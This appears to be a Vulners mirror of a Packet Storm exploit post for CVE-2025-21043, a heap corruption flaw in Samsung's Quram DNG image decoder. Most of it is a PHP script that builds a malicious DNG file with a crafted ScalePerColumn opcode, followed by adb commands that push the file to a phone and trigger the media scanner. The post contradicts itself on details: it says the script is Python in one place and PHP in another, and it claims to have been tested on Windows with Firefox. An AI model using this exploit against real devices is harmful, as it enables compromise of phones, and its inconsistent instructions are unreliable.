Lucene search
K

📄 Samsung Quram DNG Heap Corruption

🗓️ 09 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 123 Views

Samsung Quram DNG heap overflow due to malformed ScalePerColumn opcode enabling remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-21043
12 Sep 202507:40
circl
CISA KEV Catalog
Samsung Mobile Devices Out-of-Bounds Write Vulnerability
2 Oct 202500:00
cisa_kev
CISA
CISA Adds Five Known Exploited Vulnerabilities to Catalog
2 Oct 202512:00
cisa
CNNVD
SAMSUNG SMR 安全漏洞
12 Sep 202500:00
cnnvd
CVE
CVE-2025-21043
12 Sep 202507:21
cve
Cvelist
CVE-2025-21043
12 Sep 202507:21
cvelist
EUVD
EUVD-2025-29028
12 Sep 202507:21
euvd
HackRead
Samsung Fixes Image Parsing Vulnerability Exploited in Android Attacks
14 Sep 202522:17
hackread
Malwarebytes
Samsung zero-day lets attackers take over your phone
11 Nov 202514:28
malwarebytes
NVD
CVE-2025-21043
12 Sep 202508:15
nvd
Rows per page
=============================================================================================================================================
    | # Title     : Samsung Quram DNG Heap Corruption via Malformed ScalePerColumn Opcode                                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : System built‑in component. No standalone download available.                                                                |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211370/ & CVE-2025-21043
    
    [+] Summary : Samsung devices utilize Quram’s DNG decoder. A malformed ScalePerColumn opcode with oversized areaSpec and extreme pitches leads to arithmetic overflow in
                  the per-column scaling loop. After allocation miscalculation, subsequent writes corrupt heap structures. 
    			  Carefully crafted payloads enable control over free()function pointers, leading to fully controlled execution.
    
    [+] Impact
    
    Heap metadata & function pointer overwrite → Remote Code Execution.
    
    ###############################################################################
    PoC highlights:
    - Takes a valid DNG template.
    - Injects ScalePerColumn opcode ID 42 with malicious parameters.
    - Forced overwrite due to uncontrolled scale-array computation.
    - Deliverable via Android media scanner.
    
    Save PoC as:
        exploit.py
        template.dng
    
    Run:
        python3 exploit.py
        adb push PoC1.jpeg /sdcard/
        adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \
           -d file:///sdcard/PoC1.jpeg
    
    ###############################################################################
    Affected:
    - Samsung devices using libimagecodec.quram.so
    - Android versions 13–16
    - Patch levels older than September 2025
    
    Impact:
    - Heap metadata corruption
    - Function pointer overwrite
    - Controlled RCE in Quram image decoding pipeline
    
    ###############################################################################
    Technical:
    The ScalePerColumn opcode (ID 42) accepts an areaSpec followed by a
    variable-length scaling array. Due to lack of integer sanitization, an extreme
    left offset combined with huge column pitch results in an incorrect scale_count
    and massive allocation mismatch. Writes overflow heap chunks, overwriting allocator
    metadata and indirect function pointers.
    
    PoC:
    - Injects crafted opcode at arbitrary IFD offset.
    - Builds malicious areaSpec.
    - Forces memory overwrite during scaling loop.
    
    ###############################################################################
    How To Save:
    1) Save files:
           template.dng
           exploit.py
    
    How To Run:
        php poc.php
        adb push PoC1.jpeg /sdcard/
        adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \
            -d file:///sdcard/PoC1.jpeg
    
    Expected Result:
    Quram decoder processes malformed opcode → heap corruption triggered.
    
    [+]  POC : 
    
    <?php
    
    
    function u32($v, $little=true){
        return pack($little?"V":"N", $v);
    }
    
    function i32($v, $little=true){
        return pack($little?"V":"N", $v);
    }
    
    function f32($f, $little=true){
        return $little ? pack("g",$f) : pack("G",$f);
    }
    
    function create_minimal_dng(){
        $d = "";
        $d.= "II*\x00";            // TIFF header
        $d.= u32(8);               // First IFD offset
    
        $d.= pack("v",1);          // Num entries
        $d.= pack("v",254);        // Tag
        $d.= pack("v",4);
        $d.= u32(1);
        $d.= u32(0);
        $d.= u32(0);
        return $d;
    }
    
    function find_or_create_opcode_offset(&$tmpl){
        $ifd = unpack("V",substr($tmpl,4,4))[1];
        while($ifd != 0 && $ifd < strlen($tmpl)){
            $n = unpack("v",substr($tmpl,$ifd,2))[1];
            for($i=0;$i<$n;$i++){
                $o = $ifd+2+($i*12);
                $tag = unpack("v",substr($tmpl,$o,2))[1];
                if($tag == 0xC74D){
                    $cnt = unpack("V",substr($tmpl,$o+4,4))[1];
                    $off = unpack("V",substr($tmpl,$o+8,4))[1];
                    return [$off,$cnt];
                }
            }
            $ifd = unpack("V",substr($tmpl,$ifd+2+($n*12),4))[1];
        }
    
        $new = strlen($tmpl);
        $ifd = "";
        $ifd .= pack("v",1);
        $ifd .= pack("v",0xC74D);
        $ifd .= pack("v",4);
        $cntOffset = strlen($ifd);
        $ifd .= u32(0);
        $opcodeDataOffset = $new + strlen($ifd) + 4;
        $ifd .= u32($opcodeDataOffset);
        $ifd .= u32(0);
        $tmpl .= $ifd;
        return [$opcodeDataOffset,0];
    }
    
    function build_malicious($spec){
        $out = "";
        $out .= u32(42);     // opcode ID ScalePerColumn
    
        $areaSpec = 28;
        $scaleData = 1024;
        $tot = $areaSpec + 4 + $scaleData;
        $out .= u32($tot);
    
        $out .= i32($spec['l']);
        $out .= i32($spec['t']);
        $out .= i32($spec['r']);
        $out .= i32($spec['b']);
        $out .= u32($spec['fPlane']);
        $out .= u32($spec['fPlanes']);
        $out .= u32($spec['row_pitch']);
        $out .= u32($spec['col_pitch']);
    
        $col = ($spec['r'] - $spec['l']) / $spec['col_pitch'];
        if($col <=0) $col = 1;
        $out .= u32($col);
    
        for($i=0;$i<$col;$i++)
            $out .= f32(2.0);
    
        while(strlen($out) < $areaSpec+4+$scaleData)
            $out .= "\x00";
    
        return $out;
    }
    
    function inject_opcode(&$tmpl,$offset,$data,$count){
        if($offset >= strlen($tmpl)){
            $tmpl = str_pad($tmpl,$offset,"\0");
            $tmpl .= $data;
        } else {
            $tmpl = substr_replace($tmpl,$data,$offset);
        }
    
        $ifd = unpack("V",substr($tmpl,4,4))[1];
        while($ifd != 0){
            $n = unpack("v",substr($tmpl,$ifd,2))[1];
            for($i=0;$i<$n;$i++){
                $o = $ifd+2+($i*12);
                $tag = unpack("v",substr($tmpl,$o,2))[1];
                if($tag == 0xC74D){
                    $new = u32($count+1);
                    $tmpl = substr_replace($tmpl,$new,$o+4,4);
                    return;
                }
            }
            $ifd = unpack("V",substr($tmpl,$ifd+2+($n*12),4))[1];
        }
    }
    
    $templ = "template.dng";
    if(!file_exists($templ)){
        file_put_contents($templ, create_minimal_dng());
    }
    $t = file_get_contents($templ);
    
    $spec = [
     'l'=>-2147483644,
     'r'=>3,
     't'=>0,
     'b'=>236,
     'col_pitch'=>2147483646,
     'row_pitch'=>1,
     'fPlane'=>0,
     'fPlanes'=>3
    ];
    
    list($off,$cnt) = find_or_create_opcode_offset($t);
    $data = build_malicious($spec);
    
    // append if existing opcodes
    $inject = $off;
    if($cnt > 0){
        $p = $off;
        for($i=0;$i<$cnt;$i++){
            $id  = unpack("V",substr($t,$p,4))[1];
            $sz  = unpack("V",substr($t,$p+4,4))[1];
            $p  += 8+$sz;
        }
        $inject = $p;
    }
    
    inject_opcode($t,$inject,$data,$cnt);
    
    file_put_contents("exploit.dng",$t);
    copy("exploit.dng","Poc1.jpeg");
    
    echo "[+] Generated exploit.dng and Poc1.jpeg\n";
    ?>
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation